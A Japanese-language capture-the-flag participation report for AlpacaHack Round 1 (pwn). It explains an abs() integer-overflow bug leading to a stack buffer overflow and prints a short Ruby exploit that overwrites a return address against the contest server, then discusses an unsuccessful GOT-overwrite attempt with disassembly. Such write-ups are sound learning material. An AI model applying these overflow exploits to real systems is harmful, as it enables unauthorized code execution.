AlpacaHack Round 1参加記
参加前
Round 1がPwnだと気づいていなくて、CryptoやWebの過去問を解いていた。
Pwn慣れてなくて解きにいく気があんまり起きない……。
参加直前
全問Pwnじゃん!
結果
1完129ptsで35位でした!
最初にしては悪くない?わかんないです
参加中
echo
調べつつなんとか解いた。
bufをオーバーフローさせ、リターンアドレスを書き換えることでwinに飛びたい。
よく見るとここ、sizeが負になる可能性がある……というのは、abs関数に-2147483648を渡すと-2147483648がそのまま返ってきてしまう仕様があるから。 code:c
// Validate size
if ((size = abs(size)) > BUF_SIZE) {
さらに、get_dataの呼び出しでsizeをintからunsigned intのキャストが発生するため、負の数を渡してたくさん入力させることができる。
最終的に以下のコードで正答を得た。
code:rb
require "socket"
host = "34.170.146.252"
port = 17360
to_ret = 0x100 + 8
ret_addr = 0x00000000004011f6
socket = TCPSocket.open(host, port)
socket.puts "-2147483648"
socket.puts "a" * to_ret + ret_addr.pack("Q<") * 10 puts socket.read
socket.close
スタックのことはよくわからないので、リターンアドレスを数打てば当たるかとおもってたくさん書いた。
hexecho
簡単に呼び出せるような関数が置いてない。
どうやらシェルコードとかを実行させる必要があるらしい?
とりあえずバッファオーバーランでリターンアドレスを書き換えたいところだが、スタックカナリアが設定されている。
スタックカナリアがなければ無事に?リターンアドレスを書き換えられるんだがなあ……。
ここで、スタックカナリアをわざと壊して__stack_chk_failに飛ぶところで悪さをするGOT Overwriteというやつを試してみる。 この実行ファイルではRELROがPartialなのでGOT Overwriteは有効らしい。
まず、スタックカナリアが壊れたとき、__stack_chk_fail@pltに飛ぶようになっている。
__stack_chk_fail@pltでは0x404020に飛ぶようになっている。
この0x404020にあるものが書き換え可能になっているので、どうにかして書き換えたい。
code:asm
; hexecho
; -0x8(rbp) の値を %fs:0x28(スタックカナリアのマスタ)と比較する
40130c: 48 8b 45 f8 mov -0x8(%rbp),%rax
401310: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
401317: 00 00
401319: 74 05 je 401320 <hexecho+0xea>
; スタックカナリアが壊れていれば <__stack_chk_fail@plt> が呼ばれる
40131b: e8 70 fd ff ff call 401090 <__stack_chk_fail@plt>
401320: c9 leave
401321: c3 ret
; __stack_chk_fail@plt
0000000000401090 <__stack_chk_fail@plt>:
401090: f3 0f 1e fa endbr64
401094: f2 ff 25 85 2f 00 00 bnd jmp *0x2f85(%rip) # 404020 <__stack_chk_fail@GLIBC_2.4>
40109b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
; .got
0000000000404000 <_GLOBAL_OFFSET_TABLE_>:
404000: 20 3e and %bh,(%rsi)
404002: 40 00 00 rex add %al,(%rax)
...
404015: 00 00 add %al,(%rax)
404017: 00 30 add %dh,(%rax)
404019: 10 40 00 adc %al,0x0(%rax)
40401c: 00 00 add %al,(%rax)
40401e: 00 00 add %al,(%rax)
; ここに飛んでくる
404020: 40 10 40 00 rex adc %al,0x0(%rax)
404024: 00 00 add %al,(%rax)
404026: 00 00 add %al,(%rax)
404028: 50 push %rax
404029: 10 40 00 adc %al,0x0(%rax)
40402c: 00 00 add %al,(%rax)
40402e: 00 00 add %al,(%rax)
404030: 60 (bad)
404031: 10 40 00 adc %al,0x0(%rax)
404034: 00 00 add %al,(%rax)
404036: 00 00 add %al,(%rax)
404038: 70 10 jo 40404a <__dso_handle+0x2>
40403a: 40 00 00 rex add %al,(%rax)
40403d: 00 00 add %al,(%rax)
...
が、よく考えるとここを書き換える方法がないぞ!?
調べた記事ではprintfのフォーマット文字列をいじってどうにかしていたが、この問題では使えない……。 スタックカナリアを探索して特定する方針を使えないかとも思ったが、forkとかしてなさそうだし、どうやら無理そう……。 Writeup読めばいいかと思って諦め撤退でした。
参加後
hexechoのwriteupを読んだ。
scanfをうまく使ってスタックカナリアが得られるとは……。
ROPとかもはじめて知ったので、得るものはあった感。